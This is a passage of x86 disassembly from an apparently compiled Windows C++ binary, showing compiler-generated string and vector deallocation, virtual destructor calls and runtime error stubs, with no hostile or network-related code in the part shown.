cmp edi, 0x1000
jb 0x10090c66
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090edd
push edi
push ecx
call fcn.100bede4
add esp, 8
cmp ebx, 0x10
jb 0x10090ca1
mov ecx, dword [ebp - 0x7c]
inc ebx
mov eax, ecx
cmp ebx, 0x1000
jb 0x10090c97
mov ecx, dword [ecx - 4]
add ebx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090edd
push ebx
push ecx
call fcn.100bede4
add esp, 8
mov eax, dword [ebp - 8]
cmp eax, 0x10
jb 0x10090cd7
mov ecx, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x10090ccd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090edd
push edx
push ecx
call fcn.100bede4
add esp, 8
mov esi, dword [ebp - 0xac]
test esi, esi
je 0x10090d45
mov ecx, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x10090d1d
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090edd
push ecx
push esi
call fcn.100bede4
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
lea ecx, [ebp - 0xc8]
call fcn.100b2b00
mov ecx, dword [ebp - 0xb8]
test ecx, ecx
je 0x10090d6b
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x10090d6b
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xdc]
call fcn.100b2b00
mov ecx, dword [ebp - 0xcc]
test ecx, ecx
je 0x10090d91
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x10090d91
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xf0]
call fcn.100b2b00
mov ecx, dword [ebp - 0xe0]
test ecx, ecx
je 0x10090db7
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x10090db7
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x10090deb
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090de1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ee2
push edx
push ecx
call fcn.100bede4
add esp, 8
movups xmm0, xmmword [ebp - 0x34]
mov ebx, dword [ebp - 0x144]
mov edx, dword [ebp + 0x1c]
mov byte [ebp - 0x34], 0
movups xmmword [ebx], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [ebx + 0x10], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
cmp edx, 0x10
jb 0x10090e48
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090e3e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ece
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x10090e8a
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090e80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090ece
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x1008fc82
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fc78
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008fc78
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
int3